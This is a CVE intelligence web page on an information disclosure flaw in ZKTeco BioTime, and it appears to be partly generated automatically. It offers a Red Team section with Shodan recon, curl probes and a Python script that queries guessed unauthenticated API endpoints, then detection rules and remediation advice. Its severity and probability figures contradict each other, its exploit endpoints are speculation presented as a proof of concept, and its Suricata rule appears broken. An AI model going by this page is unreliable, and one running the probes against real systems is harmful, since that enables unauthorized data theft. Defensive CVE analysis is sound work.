☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-51141

CVE-2023-51141 Information Disclosure in Zkteko
📅 PUBLISHED: 2024-03-21 00:00 UTC 🔄 UPDATED: 2026-10-02 19:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.66%
👁️
0.66% probability
16.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51141 is a vulnerability in ZKTeco BioTime version 8.5.4 and earlier that allows a remote attacker to obtain sensitive information via the Authentication & Authorization component. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), and no public exploit code or patch details are currently available. The EPSS score is 0.0%, indicating low exploitation probability at this time. This is a critical information disclosure issue that could lead to further compromise of the affected system.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone biometric time attendance system (ZKTeco BioTime), which is a proprietary software solution. No supply chain package security implications are identified.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the description, the vulnerability allows remote attackers to obtain sensitive information via the Authentication & Authorization component. This suggests a high confidentiality impact, with low attack complexity and no privileges required. A reasonable CVSS vector would be: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (Base Score: 7.5, High). However, since the official score is 0.0, we treat this as UNKNOWN.

Threat Level: High (based on information disclosure potential)

Deep Dive & Mechanics

The vulnerability resides in the Authentication & Authorization component of ZKTeco BioTime. The exact mechanism is not publicly documented, but it likely involves improper access controls or insecure direct object references (IDOR) that allow an unauthenticated attacker to query sensitive endpoints. The attacker can extract user credentials, biometric data, or system configuration without proper authentication.

Attack Vector: Remote, unauthenticated Impact: Confidentiality breach (sensitive information disclosure) Prerequisites: Network access to the BioTime service (typically port 80/443 or custom ports)

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code is in the Authentication & Authorization component of BioTime versions <= 8.5.4. Without a patch, the exact code differences cannot be provided. The vulnerability likely stems from missing or insufficient authentication checks on certain API endpoints.

Exploitation & Lab Setup

Red Team

Since no public exploit code is available, the following steps outline a manual exploitation approach:

  1. Reconnaissance: Scan for ZKTeco BioTime instances using Shodan or Nmap with the dork ZKTeco BioTime.
  2. Endpoint Discovery: Use a web fuzzer (e.g., ffuf, dirb) to discover API endpoints related to authentication and authorization (e.g., /api/auth, /api/user, /api/config).
  3. Information Extraction: Attempt to access these endpoints without authentication. For example:
    curl -X GET http://target:port/api/user/list
    curl -X GET http://target:port/api/config/dump
    
  4. Data Exfiltration: If successful, extract user lists, biometric templates, or system configuration.

Proof of Concept (PoC) Script:

import requests
import sys

def exploit(target):
    endpoints = [
        "/api/user/list",
        "/api/config/dump",
        "/api/auth/status"
    ]
    for endpoint in endpoints:
        url = f"http://{target}{endpoint}"
        try:
            r = requests.get(url, timeout=5)
            if r.status_code == 200:
                print(f"[+] Found: {url}")
                print(r.text[:500])
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <target:port>")
        sys.exit(1)
    exploit(sys.argv[1])

Blue Team

  1. Network Segmentation: Isolate BioTime servers from the internet and untrusted networks.
  2. Access Logging: Enable detailed logging for all HTTP requests to the BioTime web interface.
  3. Monitor for Anomalies: Look for requests to sensitive endpoints without authentication (e.g., /api/user/list, /api/config/dump).
  4. Rate Limiting: Implement rate limiting on authentication endpoints to slow down brute-force attempts.
  5. Web Application Firewall (WAF): Deploy a WAF to block suspicious requests to API endpoints.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Unauthenticated HTTP requests to /api/user/list, /api/config/dump, /api/auth/status
    • Unusual outbound data transfers from the BioTime server
    • Connections from unknown IP addresses to the BioTime web interface
  • File IOCs:

    • Unexpected files in the BioTime installation directory (e.g., /opt/biotime/data/export/)
    • Modified configuration files (e.g., biotime.conf)
  • Log IOCs:

    • Repeated 200 responses to unauthenticated API requests
    • Log entries showing access to sensitive endpoints without a valid session token

Detection Engineering

YARA Rule

rule CVE_2023_51141_ZKTeco_BioTime_InfoDisclosure {
    meta:
        description = "Detects attempts to exploit CVE-2023-51141 in ZKTeco BioTime"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-51141"
    strings:
        $api_user_list = "/api/user/list"
        $api_config_dump = "/api/config/dump"
        $api_auth_status = "/api/auth/status"
        $biotime_header = "ZKTeco BioTime"
    condition:
        any of ($api*) and $biotime_header
}

Sigma Rule

title: CVE-2023-51141 - ZKTeco BioTime Information Disclosure Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to sensitive API endpoints in ZKTeco BioTime
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-stem:
            - '/api/user/list'
            - '/api/config/dump'
            - '/api/auth/status'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate administrative access (should be authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-51141 - ZKTeco BioTime Information Disclosure Attempt"; flow:to_server; content:"/api/user/list"; http_uri; nocase; content:"/api/config/dump"; http_uri; nocase; content:"/api/auth/status"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the system: Disconnect the BioTime server from the internet if possible.
  2. Apply access controls: Use a reverse proxy (e.g., Nginx, Apache) to require authentication for all API endpoints.
  3. Monitor logs: Review access logs for suspicious activity.

Long-term Fix:

  • Contact ZKTeco for an official patch or upgrade to a newer version (if available).
  • If no patch is available, consider replacing the software with a more secure alternative.

Workaround:

  • Implement IP whitelisting to restrict access to trusted networks only.
  • Disable unnecessary API endpoints if configurable.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51141/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.